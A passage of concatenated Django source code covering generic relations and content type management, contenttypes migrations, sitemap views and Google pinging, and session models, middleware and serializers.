                            rel_obj._meta.pk.to_python(pk_val) != rel_obj._get_pk_val()):
                rel_obj = None

        if rel_obj is not None:
            return rel_obj

        if ct_id is not None:
            ct = self.get_content_type(id=ct_id, using=instance._state.db)
            try:
                rel_obj = ct.get_object_for_this_type(pk=pk_val)
            except ObjectDoesNotExist:
                pass
        setattr(instance, self.cache_attr, rel_obj)
        return rel_obj

    def __set__(self, instance, value):
        ct = None
        fk = None
        if value is not None:
            ct = self.get_content_type(obj=value)
            fk = value._get_pk_val()

        setattr(instance, self.ct_field, ct)
        setattr(instance, self.fk_field, fk)
        setattr(instance, self.cache_attr, value)


class GenericRel(ForeignObjectRel):
    """
    Used by GenericRelation to store information about the relation.
    """

    def __init__(self, field, to, related_name=None, related_query_name=None, limit_choices_to=None):
        super(GenericRel, self).__init__(
            field, to,
            related_name=related_query_name or '+',
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
            on_delete=DO_NOTHING,
        )


class GenericRelation(ForeignObject):
    """
    Provide a reverse to a relation created by a GenericForeignKey.
    """

    # Field flags
    auto_created = False

    many_to_many = False
    many_to_one = False
    one_to_many = True
    one_to_one = False

    rel_class = GenericRel

    def __init__(self, to, object_id_field='object_id', content_type_field='content_type',
                 for_concrete_model=True, related_query_name=None, limit_choices_to=None, **kwargs):
        kwargs['rel'] = self.rel_class(
            self, to,
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
        )

        kwargs['blank'] = True
        kwargs['on_delete'] = models.CASCADE
        kwargs['editable'] = False
        kwargs['serialize'] = False

        # This construct is somewhat of an abuse of ForeignObject. This field
        # represents a relation from pk to object_id field. But, this relation
        # isn't direct, the join is generated reverse along foreign key. So,
        # the from_field is object_id field, to_field is pk because of the
        # reverse join.
        super(GenericRelation, self).__init__(
            to, from_fields=[object_id_field], to_fields=[], **kwargs)

        self.object_id_field_name = object_id_field
        self.content_type_field_name = content_type_field
        self.for_concrete_model = for_concrete_model

    def check(self, **kwargs):
        errors = super(GenericRelation, self).check(**kwargs)
        errors.extend(self._check_generic_foreign_key_existence())
        return errors

    def _is_matching_generic_foreign_key(self, field):
        """
        Return True if field is a GenericForeignKey whose content type and
        object id fields correspond to the equivalent attributes on this
        GenericRelation.
        """
        return (
            isinstance(field, GenericForeignKey) and
            field.ct_field == self.content_type_field_name and
            field.fk_field == self.object_id_field_name
        )

    def _check_generic_foreign_key_existence(self):
        target = self.remote_field.model
        if isinstance(target, ModelBase):
            fields = target._meta.private_fields
            if any(self._is_matching_generic_foreign_key(field) for field in fields):
                return []
            else:
                return [
                    checks.Error(
                        "The GenericRelation defines a relation with the model "
                        "'%s.%s', but that model does not have a GenericForeignKey." % (
                            target._meta.app_label, target._meta.object_name
                        ),
                        obj=self,
                        id='contenttypes.E004',
                    )
                ]
        else:
            return []

    def resolve_related_fields(self):
        self.to_fields = [self.model._meta.pk.name]
        return [(self.remote_field.model._meta.get_field(self.object_id_field_name), self.model._meta.pk)]

    def _get_path_info_with_parent(self):
        """
        Return the path that joins the current model through any parent models.
        The idea is that if you have a GFK defined on a parent model then we
        need to join the parent model first, then the child model.
        """
        # With an inheritance chain ChildTag -> Tag and Tag defines the
        # GenericForeignKey, and a TaggedItem model has a GenericRelation to
        # ChildTag, then we need to generate a join from TaggedItem to Tag
        # (as Tag.object_id == TaggedItem.pk), and another join from Tag to
        # ChildTag (as that is where the relation is to). Do this by first
        # generating a join to the parent model, then generating joins to the
        # child models.
        path = []
        opts = self.remote_field.model._meta
        parent_opts = opts.get_field(self.object_id_field_name).model._meta
        target = parent_opts.pk
        path.append(PathInfo(self.model._meta, parent_opts, (target,), self.remote_field, True, False))
        # Collect joins needed for the parent -> child chain. This is easiest
        # to do if we collect joins for the child -> parent chain and then
        # reverse the direction (call to reverse() and use of
        # field.remote_field.get_path_info()).
        parent_field_chain = []
        while parent_opts != opts:
            field = opts.get_ancestor_link(parent_opts.model)
            parent_field_chain.append(field)
            opts = field.remote_field.model._meta
        parent_field_chain.reverse()
        for field in parent_field_chain:
            path.extend(field.remote_field.get_path_info())
        return path

    def get_path_info(self):
        opts = self.remote_field.model._meta
        object_id_field = opts.get_field(self.object_id_field_name)
        if object_id_field.model != opts.model:
            return self._get_path_info_with_parent()
        else:
            target = opts.pk
            return [PathInfo(self.model._meta, opts, (target,), self.remote_field, True, False)]

    def get_reverse_path_info(self):
        opts = self.model._meta
        from_opts = self.remote_field.model._meta
        return [PathInfo(from_opts, opts, (opts.pk,), self, not self.unique, False)]

    def value_to_string(self, obj):
        qs = getattr(obj, self.name).all()
        return smart_text([instance._get_pk_val() for instance in qs])

    def contribute_to_class(self, cls, name, **kwargs):
        kwargs['private_only'] = True
        super(GenericRelation, self).contribute_to_class(cls, name, **kwargs)
        self.model = cls
        setattr(cls, self.name, ReverseGenericManyToOneDescriptor(self.remote_field))

        # Add get_RELATED_order() and set_RELATED_order() to the model this
        # field belongs to, if the model on the other end of this relation
        # is ordered with respect to its corresponding GenericForeignKey.
        if not cls._meta.abstract:

            def make_generic_foreign_order_accessors(related_model, model):
                if self._is_matching_generic_foreign_key(model._meta.order_with_respect_to):
                    make_foreign_order_accessors(model, related_model)

            lazy_related_operation(make_generic_foreign_order_accessors, self.model, self.remote_field.model)

    def set_attributes_from_rel(self):
        pass

    def get_internal_type(self):
        return "ManyToManyField"

    def get_content_type(self):
        """
        Return the content type associated with this field's model.
        """
        return ContentType.objects.get_for_model(self.model,
                                                 for_concrete_model=self.for_concrete_model)

    def get_extra_restriction(self, where_class, alias, remote_alias):
        field = self.remote_field.model._meta.get_field(self.content_type_field_name)
        contenttype_pk = self.get_content_type().pk
        cond = where_class()
        lookup = field.get_lookup('exact')(field.get_col(remote_alias), contenttype_pk)
        cond.add(lookup, 'AND')
        return cond

    def bulk_related_objects(self, objs, using=DEFAULT_DB_ALIAS):
        """
        Return all objects related to ``objs`` via this ``GenericRelation``.
        """
        return self.remote_field.model._base_manager.db_manager(using).filter(**{
            "%s__pk" % self.content_type_field_name: ContentType.objects.db_manager(using).get_for_model(
                self.model, for_concrete_model=self.for_concrete_model).pk,
            "%s__in" % self.object_id_field_name: [obj.pk for obj in objs]
        })


class ReverseGenericManyToOneDescriptor(ReverseManyToOneDescriptor):
    """
    Accessor to the related objects manager on the one-to-many relation created
    by GenericRelation.

    In the example::

        class Post(Model):
            comments = GenericRelation(Comment)

    ``post.comments`` is a ReverseGenericManyToOneDescriptor instance.
    """

    @cached_property
    def related_manager_cls(self):
        return create_generic_related_manager(
            self.rel.model._default_manager.__class__,
            self.rel,
        )


def create_generic_related_manager(superclass, rel):
    """
    Factory function to create a manager that subclasses another manager
    (generally the default manager of a given model) and adds behaviors
    specific to generic relations.
    """

    class GenericRelatedObjectManager(superclass):
        def __init__(self, instance=None):
            super(GenericRelatedObjectManager, self).__init__()

            self.instance = instance

            self.model = rel.model

            content_type = ContentType.objects.db_manager(instance._state.db).get_for_model(
                instance, for_concrete_model=rel.field.for_concrete_model)
            self.content_type = content_type
            self.content_type_field_name = rel.field.content_type_field_name
            self.object_id_field_name = rel.field.object_id_field_name
            self.prefetch_cache_name = rel.field.attname
            self.pk_val = instance._get_pk_val()

            self.core_filters = {
                '%s__pk' % self.content_type_field_name: content_type.id,
                self.object_id_field_name: self.pk_val,
            }

        def __call__(self, **kwargs):
            # We use **kwargs rather than a kwarg argument to enforce the
            # `manager='manager_name'` syntax.
            manager = getattr(self.model, kwargs.pop('manager'))
            manager_class = create_generic_related_manager(manager.__class__, rel)
            return manager_class(instance=self.instance)
        do_not_call_in_templates = True

        def __str__(self):
            return repr(self)

        def _apply_rel_filters(self, queryset):
            """
            Filter the queryset for the instance this manager is bound to.
            """
            db = self._db or router.db_for_read(self.model, instance=self.instance)
            return queryset.using(db).filter(**self.core_filters)

        def get_queryset(self):
            try:
                return self.instance._prefetched_objects_cache[self.prefetch_cache_name]
            except (AttributeError, KeyError):
                queryset = super(GenericRelatedObjectManager, self).get_queryset()
                return self._apply_rel_filters(queryset)

        def get_prefetch_queryset(self, instances, queryset=None):
            if queryset is None:
                queryset = super(GenericRelatedObjectManager, self).get_queryset()

            queryset._add_hints(instance=instances[0])
            queryset = queryset.using(queryset._db or self._db)

            query = {
                '%s__pk' % self.content_type_field_name: self.content_type.id,
                '%s__in' % self.object_id_field_name: set(obj._get_pk_val() for obj in instances)
            }

            # We (possibly) need to convert object IDs to the type of the
            # instances' PK in order to match up instances:
            object_id_converter = instances[0]._meta.pk.to_python
            return (queryset.filter(**query),
                    lambda relobj: object_id_converter(getattr(relobj, self.object_id_field_name)),
                    lambda obj: obj._get_pk_val(),
                    False,
                    self.prefetch_cache_name)

        def add(self, *objs, **kwargs):
            bulk = kwargs.pop('bulk', True)
            db = router.db_for_write(self.model, instance=self.instance)

            def check_and_update_obj(obj):
                if not isinstance(obj, self.model):
                    raise TypeError("'%s' instance expected, got %r" % (
                        self.model._meta.object_name, obj
                    ))
                setattr(obj, self.content_type_field_name, self.content_type)
                setattr(obj, self.object_id_field_name, self.pk_val)

            if bulk:
                pks = []
                for obj in objs:
                    if obj._state.adding or obj._state.db != db:
                        raise ValueError(
                            "%r instance isn't saved. Use bulk=False or save "
                            "the object first." % obj
                        )
                    check_and_update_obj(obj)
                    pks.append(obj.pk)

                self.model._base_manager.using(db).filter(pk__in=pks).update(**{
                    self.content_type_field_name: self.content_type,
                    self.object_id_field_name: self.pk_val,
                })
            else:
                with transaction.atomic(using=db, savepoint=False):
                    for obj in objs:
                        check_and_update_obj(obj)
                        obj.save()
        add.alters_data = True

        def remove(self, *objs, **kwargs):
            if not objs:
                return
            bulk = kwargs.pop('bulk', True)
            self._clear(self.filter(pk__in=[o.pk for o in objs]), bulk)
        remove.alters_data = True

        def clear(self, **kwargs):
            bulk = kwargs.pop('bulk', True)
            self._clear(self, bulk)
        clear.alters_data = True

        def _clear(self, queryset, bulk):
            db = router.db_for_write(self.model, instance=self.instance)
            queryset = queryset.using(db)
            if bulk:
                # `QuerySet.delete()` creates its own atomic block which
                # contains the `pre_delete` and `post_delete` signal handlers.
                queryset.delete()
            else:
                with transaction.atomic(using=db, savepoint=False):
                    for obj in queryset:
                        obj.delete()
        _clear.alters_data = True

        def set(self, objs, **kwargs):
            # Force evaluation of `objs` in case it's a queryset whose value
            # could be affected by `manager.clear()`. Refs #19816.
            objs = tuple(objs)

            bulk = kwargs.pop('bulk', True)
            clear = kwargs.pop('clear', False)

            db = router.db_for_write(self.model, instance=self.instance)
            with transaction.atomic(using=db, savepoint=False):
                if clear:
                    self.clear()
                    self.add(*objs, bulk=bulk)
                else:
                    old_objs = set(self.using(db).all())
                    new_objs = []
                    for obj in objs:
                        if obj in old_objs:
                            old_objs.remove(obj)
                        else:
                            new_objs.append(obj)

                    self.remove(*old_objs)
                    self.add(*new_objs, bulk=bulk)
        set.alters_data = True

        def create(self, **kwargs):
            kwargs[self.content_type_field_name] = self.content_type
            kwargs[self.object_id_field_name] = self.pk_val
            db = router.db_for_write(self.model, instance=self.instance)
            return super(GenericRelatedObjectManager, self).using(db).create(**kwargs)
        create.alters_data = True

        def get_or_create(self, **kwargs):
            kwargs[self.content_type_field_name] = self.content_type
            kwargs[self.object_id_field_name] = self.pk_val
            db = router.db_for_write(self.model, instance=self.instance)
            return super(GenericRelatedObjectManager, self).using(db).get_or_create(**kwargs)
        get_or_create.alters_data = True

        def update_or_create(self, **kwargs):
            kwargs[self.content_type_field_name] = self.content_type
            kwargs[self.object_id_field_name] = self.pk_val
            db = router.db_for_write(self.model, instance=self.instance)
            return super(GenericRelatedObjectManager, self).using(db).update_or_create(**kwargs)
        update_or_create.alters_data = True

    return GenericRelatedObjectManager






from django.apps import apps as global_apps
from django.db import DEFAULT_DB_ALIAS, migrations, router, transaction
from django.db.models.deletion import Collector
from django.db.utils import IntegrityError
from django.utils import six
from django.utils.six.moves import input


class RenameContentType(migrations.RunPython):
    def __init__(self, app_label, old_model, new_model):
        self.app_label = app_label
        self.old_model = old_model
        self.new_model = new_model
        super(RenameContentType, self).__init__(self.rename_forward, self.rename_backward)

    def _rename(self, apps, schema_editor, old_model, new_model):
        ContentType = apps.get_model('contenttypes', 'ContentType')
        db = schema_editor.connection.alias
        if not router.allow_migrate_model(db, ContentType):
            return

        try:
            content_type = ContentType.objects.db_manager(db).get_by_natural_key(self.app_label, old_model)
        except ContentType.DoesNotExist:
            pass
        else:
            content_type.model = new_model
            try:
                with transaction.atomic(using=db):
                    content_type.save(update_fields={'model'})
            except IntegrityError:
                # Gracefully fallback if a stale content type causes a
                # conflict as update_contenttypes will take care of asking the
                # user what should be done next.
                content_type.model = old_model
            else:
                # Clear the cache as the `get_by_natual_key()` call will cache
                # the renamed ContentType instance by its old model name.
                ContentType.objects.clear_cache()

    def rename_forward(self, apps, schema_editor):
        self._rename(apps, schema_editor, self.old_model, self.new_model)

    def rename_backward(self, apps, schema_editor):
        self._rename(apps, schema_editor, self.new_model, self.old_model)


def inject_rename_contenttypes_operations(plan=None, apps=global_apps, using=DEFAULT_DB_ALIAS, **kwargs):
    """
    Insert a `RenameContentType` operation after every planned `RenameModel`
    operation.
    """
    if plan is None:
        return

    # Determine whether or not the ContentType model is available.
    try:
        ContentType = apps.get_model('contenttypes', 'ContentType')
    except LookupError:
        available = False
    else:
        if not router.allow_migrate_model(using, ContentType):
            return
        available = True

    for migration, backward in plan:
        if ((migration.app_label, migration.name) == ('contenttypes', '0001_initial')):
            # There's no point in going forward if the initial contenttypes
            # migration is unapplied as the ContentType model will be
            # unavailable from this point.
            if backward:
                break
            else:
                available = True
                continue
        # The ContentType model is not available yet.
        if not available:
            continue
        inserts = []
        for index, operation in enumerate(migration.operations):
            if isinstance(operation, migrations.RenameModel):
                operation = RenameContentType(
                    migration.app_label, operation.old_name_lower, operation.new_name_lower
                )
                inserts.append((index + 1, operation))
        for inserted, (index, operation) in enumerate(inserts):
            migration.operations.insert(inserted + index, operation)


def update_contenttypes(app_config, verbosity=2, interactive=True, using=DEFAULT_DB_ALIAS, apps=global_apps, **kwargs):
    """
    Creates content types for models in the given app, removing any model
    entries that no longer have a matching model class.
    """
    if not app_config.models_module:
        return

    app_label = app_config.label
    try:
        app_config = apps.get_app_config(app_label)
        ContentType = apps.get_model('contenttypes', 'ContentType')
    except LookupError:
        return

    if not router.allow_migrate_model(using, ContentType):
        return

    ContentType.objects.clear_cache()
    # Always clear the global content types cache.
    if apps is not global_apps:
        global_apps.get_model('contenttypes', 'ContentType').objects.clear_cache()

    app_models = {
        model._meta.model_name: model
        for model in app_config.get_models()}

    if not app_models:
        return

    # Get all the content types
    content_types = {
        ct.model: ct
        for ct in ContentType.objects.using(using).filter(app_label=app_label)
    }
    to_remove = [
        ct
        for (model_name, ct) in six.iteritems(content_types)
        if model_name not in app_models
    ]

    cts = [
        ContentType(
            app_label=app_label,
            model=model_name,
        )
        for (model_name, model) in six.iteritems(app_models)
        if model_name not in content_types
    ]
    ContentType.objects.using(using).bulk_create(cts)
    if verbosity >= 2:
        for ct in cts:
            print("Adding content type '%s | %s'" % (ct.app_label, ct.model))

    # Confirm that the content type is stale before deletion.
    using = router.db_for_write(ContentType)
    if to_remove:
        if interactive:
            ct_info = []
            for ct in to_remove:
                ct_info.append('    - Content type for %s.%s' % (ct.app_label, ct.model))
                collector = NoFastDeleteCollector(using=using)
                collector.collect([ct])

                for obj_type, objs in collector.data.items():
                    if objs == {ct}:
                        continue
                    ct_info.append('    - %s %s object(s)' % (
                        len(objs),
                        obj_type._meta.label,
                    ))

            content_type_display = '\n'.join(ct_info)
            print("""Some content types in your database are stale and can be deleted.
Any objects that depend on these content types will also be deleted.
The content types and dependent objects that would be deleted are:

%s

This list doesn't include any cascade deletions to data outside of Django's
models (uncommon).

Are you sure you want to delete these content types?
If you're unsure, answer 'no'.
    """ % content_type_display)
            ok_to_delete = input("Type 'yes' to continue, or 'no' to cancel: ")
        else:
            ok_to_delete = False

        if ok_to_delete == 'yes':
            for ct in to_remove:
                if verbosity >= 2:
                    print("Deleting stale content type '%s | %s'" % (ct.app_label, ct.model))
                ct.delete()
        else:
            if verbosity >= 2:
                print("Stale content types remain.")


class NoFastDeleteCollector(Collector):
    def can_fast_delete(self, *args, **kwargs):
        """
        Always load related objects to display them when showing confirmation.
        """
        return False






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import django.contrib.contenttypes.models
from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='ContentType',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=100)),
                ('app_label', models.CharField(max_length=100)),
                ('model', models.CharField(max_length=100, verbose_name='python model class name')),
            ],
            options={
                'ordering': ('name',),
                'db_table': 'django_content_type',
                'verbose_name': 'content type',
                'verbose_name_plural': 'content types',
            },
            bases=(models.Model,),
            managers=[
                ('objects', django.contrib.contenttypes.models.ContentTypeManager()),
            ],
        ),
        migrations.AlterUniqueTogether(
            name='contenttype',
            unique_together=set([('app_label', 'model')]),
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


def add_legacy_name(apps, schema_editor):
    ContentType = apps.get_model('contenttypes', 'ContentType')
    for ct in ContentType.objects.all():
        try:
            ct.name = apps.get_model(ct.app_label, ct.model)._meta.object_name
        except LookupError:
            ct.name = ct.model
        ct.save()


class Migration(migrations.Migration):

    dependencies = [
        ('contenttypes', '0001_initial'),
    ]

    operations = [
        migrations.AlterModelOptions(
            name='contenttype',
            options={'verbose_name': 'content type', 'verbose_name_plural': 'content types'},
        ),
        migrations.AlterField(
            model_name='contenttype',
            name='name',
            field=models.CharField(max_length=100, null=True),
        ),
        migrations.RunPython(
            migrations.RunPython.noop,
            add_legacy_name,
            hints={'model_name': 'contenttype'},
        ),
        migrations.RemoveField(
            model_name='contenttype',
            name='name',
        ),
    ]












import datetime
from calendar import timegm
from functools import wraps

from django.contrib.sites.shortcuts import get_current_site
from django.core.paginator import EmptyPage, PageNotAnInteger
from django.http import Http404
from django.template.response import TemplateResponse
from django.urls import reverse
from django.utils.http import http_date


def x_robots_tag(func):
    @wraps(func)
    def inner(request, *args, **kwargs):
        response = func(request, *args, **kwargs)
        response['X-Robots-Tag'] = 'noindex, noodp, noarchive'
        return response
    return inner


@x_robots_tag
def index(request, sitemaps,
          template_name='sitemap_index.xml', content_type='application/xml',
          sitemap_url_name='django.contrib.sitemaps.views.sitemap'):

    req_protocol = request.scheme
    req_site = get_current_site(request)

    sites = []
    for section, site in sitemaps.items():
        if callable(site):
            site = site()
        protocol = req_protocol if site.protocol is None else site.protocol
        sitemap_url = reverse(sitemap_url_name, kwargs={'section': section})
        absolute_url = '%s://%s%s' % (protocol, req_site.domain, sitemap_url)
        sites.append(absolute_url)
        for page in range(2, site.paginator.num_pages + 1):
            sites.append('%s?p=%s' % (absolute_url, page))

    return TemplateResponse(request, template_name, {'sitemaps': sites},
                            content_type=content_type)


@x_robots_tag
def sitemap(request, sitemaps, section=None,
            template_name='sitemap.xml', content_type='application/xml'):

    req_protocol = request.scheme
    req_site = get_current_site(request)

    if section is not None:
        if section not in sitemaps:
            raise Http404("No sitemap available for section: %r" % section)
        maps = [sitemaps[section]]
    else:
        maps = sitemaps.values()
    page = request.GET.get("p", 1)

    lastmod = None
    all_sites_lastmod = True
    urls = []
    for site in maps:
        try:
            if callable(site):
                site = site()
            urls.extend(site.get_urls(page=page, site=req_site,
                                      protocol=req_protocol))
            if all_sites_lastmod:
                site_lastmod = getattr(site, 'latest_lastmod', None)
                if site_lastmod is not None:
                    site_lastmod = (
                        site_lastmod.utctimetuple() if isinstance(site_lastmod, datetime.datetime)
                        else site_lastmod.timetuple()
                    )
                    lastmod = site_lastmod if lastmod is None else max(lastmod, site_lastmod)
                else:
                    all_sites_lastmod = False
        except EmptyPage:
            raise Http404("Page %s empty" % page)
        except PageNotAnInteger:
            raise Http404("No page '%s'" % page)
    response = TemplateResponse(request, template_name, {'urlset': urls},
                                content_type=content_type)
    if all_sites_lastmod and lastmod is not None:
        # if lastmod is defined for all sites, set header so as
        # ConditionalGetMiddleware is able to send 304 NOT MODIFIED
        response['Last-Modified'] = http_date(timegm(lastmod))
    return response






from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _


class SiteMapsConfig(AppConfig):
    name = 'django.contrib.sitemaps'
    verbose_name = _("Site Maps")






from django.apps import apps as django_apps
from django.conf import settings
from django.core import paginator
from django.core.exceptions import ImproperlyConfigured
from django.urls import NoReverseMatch, reverse
from django.utils import translation
from django.utils.six.moves.urllib.parse import urlencode
from django.utils.six.moves.urllib.request import urlopen

PING_URL = "https://www.google.com/webmasters/tools/ping"


class SitemapNotFound(Exception):
    pass


def ping_google(sitemap_url=None, ping_url=PING_URL):
    """
    Alerts Google that the sitemap for the current site has been updated.
    If sitemap_url is provided, it should be an absolute path to the sitemap
    for this site -- e.g., '/sitemap.xml'. If sitemap_url is not provided, this
    function will attempt to deduce it by using urls.reverse().
    """
    if sitemap_url is None:
        try:
            # First, try to get the "index" sitemap URL.
            sitemap_url = reverse('django.contrib.sitemaps.views.index')
        except NoReverseMatch:
            try:
                # Next, try for the "global" sitemap URL.
                sitemap_url = reverse('django.contrib.sitemaps.views.sitemap')
            except NoReverseMatch:
                pass

    if sitemap_url is None:
        raise SitemapNotFound("You didn't provide a sitemap_url, and the sitemap URL couldn't be auto-detected.")

    if not django_apps.is_installed('django.contrib.sites'):
        raise ImproperlyConfigured("ping_google requires django.contrib.sites, which isn't installed.")
    Site = django_apps.get_model('sites.Site')
    current_site = Site.objects.get_current()
    url = "http://%s%s" % (current_site.domain, sitemap_url)
    params = urlencode({'sitemap': url})
    urlopen("%s?%s" % (ping_url, params))


class Sitemap(object):
    # This limit is defined by Google. See the index documentation at
    # http://www.sitemaps.org/protocol.html#index.
    limit = 50000

    # If protocol is None, the URLs in the sitemap will use the protocol
    # with which the sitemap was requested.
    protocol = None

    def __get(self, name, obj, default=None):
        try:
            attr = getattr(self, name)
        except AttributeError:
            return default
        if callable(attr):
            return attr(obj)
        return attr

    def items(self):
        return []

    def location(self, obj):
        return obj.get_absolute_url()

    def _get_paginator(self):
        return paginator.Paginator(self.items(), self.limit)
    paginator = property(_get_paginator)

    def get_urls(self, page=1, site=None, protocol=None):
        # Determine protocol
        if self.protocol is not None:
            protocol = self.protocol
        if protocol is None:
            protocol = 'http'

        # Determine domain
        if site is None:
            if django_apps.is_installed('django.contrib.sites'):
                Site = django_apps.get_model('sites.Site')
                try:
                    site = Site.objects.get_current()
                except Site.DoesNotExist:
                    pass
            if site is None:
                raise ImproperlyConfigured(
                    "To use sitemaps, either enable the sites framework or pass "
                    "a Site/RequestSite object in your view."
                )
        domain = site.domain

        if getattr(self, 'i18n', False):
            urls = []
            current_lang_code = translation.get_language()
            for lang_code, lang_name in settings.LANGUAGES:
                translation.activate(lang_code)
                urls += self._urls(page, protocol, domain)
            translation.activate(current_lang_code)
        else:
            urls = self._urls(page, protocol, domain)

        return urls

    def _urls(self, page, protocol, domain):
        urls = []
        latest_lastmod = None
        all_items_lastmod = True  # track if all items have a lastmod
        for item in self.paginator.page(page).object_list:
            loc = "%s://%s%s" % (protocol, domain, self.__get('location', item))
            priority = self.__get('priority', item)
            lastmod = self.__get('lastmod', item)
            if all_items_lastmod:
                all_items_lastmod = lastmod is not None
                if (all_items_lastmod and
                        (latest_lastmod is None or lastmod > latest_lastmod)):
                    latest_lastmod = lastmod
            url_info = {
                'item': item,
                'location': loc,
                'lastmod': lastmod,
                'changefreq': self.__get('changefreq', item),
                'priority': str(priority if priority is not None else ''),
            }
            urls.append(url_info)
        if all_items_lastmod and latest_lastmod:
            self.latest_lastmod = latest_lastmod
        return urls


class GenericSitemap(Sitemap):
    priority = None
    changefreq = None

    def __init__(self, info_dict, priority=None, changefreq=None):
        self.queryset = info_dict['queryset']
        self.date_field = info_dict.get('date_field')
        self.priority = priority
        self.changefreq = changefreq

    def items(self):
        # Make sure to return a clone; we don't want premature evaluation.
        return self.queryset.filter()

    def lastmod(self, item):
        if self.date_field is not None:
            return getattr(item, self.date_field)
        return None


default_app_config = 'django.contrib.sitemaps.apps.SiteMapsConfig'












from django.contrib.sitemaps import ping_google
from django.core.management.base import BaseCommand


class Command(BaseCommand):
    help = "Ping Google with an updated sitemap, pass optional url of sitemap"

    def add_arguments(self, parser):
        parser.add_argument('sitemap_url', nargs='?', default=None)

    def handle(self, *args, **options):
        ping_google(sitemap_url=options['sitemap_url'])












from django.core.exceptions import SuspiciousOperation


class InvalidSessionKey(SuspiciousOperation):
    """Invalid characters in session key"""
    pass


class SuspiciousSession(SuspiciousOperation):
    """The session may be tampered with"""
    pass






from __future__ import unicode_literals

from django.contrib.sessions.base_session import (
    AbstractBaseSession, BaseSessionManager,
)


class SessionManager(BaseSessionManager):
    use_in_migrations = True


class Session(AbstractBaseSession):
    """
    Django provides full support for anonymous sessions. The session
    framework lets you store and retrieve arbitrary data on a
    per-site-visitor basis. It stores data on the server side and
    abstracts the sending and receiving of cookies. Cookies contain a
    session ID -- not the data itself.

    The Django sessions framework is entirely cookie-based. It does
    not fall back to putting session IDs in URLs. This is an intentional
    design decision. Not only does that behavior make URLs ugly, it makes
    your site vulnerable to session-ID theft via the "Referer" header.

    For complete documentation on using Sessions in your code, consult
    the sessions documentation that is shipped with Django (also available
    on the Django Web site).
    """
    objects = SessionManager()

    @classmethod
    def get_session_store_class(cls):
        from django.contrib.sessions.backends.db import SessionStore
        return SessionStore

    class Meta(AbstractBaseSession.Meta):
        db_table = 'django_session'






from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _


class SessionsConfig(AppConfig):
    name = 'django.contrib.sessions'
    verbose_name = _("Sessions")






"""
This module allows importing AbstractBaseSession even
when django.contrib.sessions is not in INSTALLED_APPS.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _


class BaseSessionManager(models.Manager):
    def encode(self, session_dict):
        """
        Return the given session dictionary serialized and encoded as a string.
        """
        session_store_class = self.model.get_session_store_class()
        return session_store_class().encode(session_dict)

    def save(self, session_key, session_dict, expire_date):
        s = self.model(session_key, self.encode(session_dict), expire_date)
        if session_dict:
            s.save()
        else:
            s.delete()  # Clear sessions with no data.
        return s


@python_2_unicode_compatible
class AbstractBaseSession(models.Model):
    session_key = models.CharField(_('session key'), max_length=40, primary_key=True)
    session_data = models.TextField(_('session data'))
    expire_date = models.DateTimeField(_('expire date'), db_index=True)

    objects = BaseSessionManager()

    class Meta:
        abstract = True
        verbose_name = _('session')
        verbose_name_plural = _('sessions')

    def __str__(self):
        return self.session_key

    @classmethod
    def get_session_store_class(cls):
        raise NotImplementedError

    def get_decoded(self):
        session_store_class = self.get_session_store_class()
        return session_store_class().decode(self.session_data)






default_app_config = 'django.contrib.sessions.apps.SessionsConfig'






from django.core.signing import JSONSerializer as BaseJSONSerializer

try:
    from django.utils.six.moves import cPickle as pickle
except ImportError:
    import pickle


class PickleSerializer(object):
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

    def loads(self, data):
        return pickle.loads(data)


JSONSerializer = BaseJSONSerializer






import time
from importlib import import_module

from django.conf import settings
from django.contrib.sessions.backends.base import UpdateError
from django.shortcuts import redirect
from django.utils.cache import patch_vary_headers
from django.utils.deprecation import MiddlewareMixin
from django.utils.http import cookie_date


class SessionMiddleware(MiddlewareMixin):
    def __init__(self, get_response=None):
        self.get_response = get_response
        engine = import_module(settings.SESSION_ENGINE)
        self.SessionStore = engine.SessionStore

    def process_request(self, request):
        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME)
        request.session = self.SessionStore(session_key)

    def process_response(self, request, response):
        """
        If request.session was modified, or if the configuration is to save the
        session every time, save the changes and set a session cookie or delete
        the session cookie if the session has been emptied.
        """
        try:
            accessed = request.session.accessed
            modified = request.session.modified
            empty = request.session.is_empty()
        except AttributeError:
            pass
        else:
            # First check if we need to delete this cookie.
            # The session should be deleted only if the session is entirely empty
            if settings.SESSION_COOKIE_NAME in request.COOKIES and empty:
                response.delete_cookie(
                    settings.SESSION_COOKIE_NAME,
                    path=settings.SESSION_COOKIE_PATH,
                    domain=settings.SESSION_COOKIE_DOMAIN,
                )
            else:
                if accessed:
                    patch_vary_headers(response, ('Cookie',))
                if (modified or settings.SESSION_SAVE_EVERY_REQUEST) and not empty:
                    if request.session.get_expire_at_browser_close():
                        max_age = None
                        expires = None
                    else:
                        max_age = request.session.get_expiry_age()
                        expires_time = time.time() + max_age
                        expires = cookie_date(expires_time)
                    # Save the session data and refresh the client cookie.
                    # Skip session save for 500 responses, refs #3881.
                    if response.status_code != 500:
                        try:
                            request.session.save()
                        except UpdateError:
                            # The user is now logged out; redirecting to same
                            # page will result in a redirect to the login page
                            # if required.
                            return redirect(request.path)
                        response.set_cookie(
                            settings.SESSION_COOKIE_NAME,
                            request.session.session_key, max_age=max_age,
                            expires=expires, domain=settings.SESSION_COOKIE_DOMAIN,
                            path=settings.SESSION_COOKIE_PATH,
                            secure=settings.SESSION_COOKIE_SECURE or None,
                            httponly=settings.SESSION_COOKIE_HTTPONLY or None,
                        )
        return response












from importlib import import_module

from django.conf import settings
from django.core.management.base import BaseCommand


class Command(BaseCommand):
    help = (
        "Can be run as a cronjob or directly to clean out expired sessions "
        "(only with the database backend at the moment)."
    )

    def handle(self, **options):
        engine = import_module(settings.SESSION_ENGINE)
        try:
            engine.SessionStore.clear_expired()
        except NotImplementedError:
            self.stderr.write("Session engine '%s' doesn't support clearing "
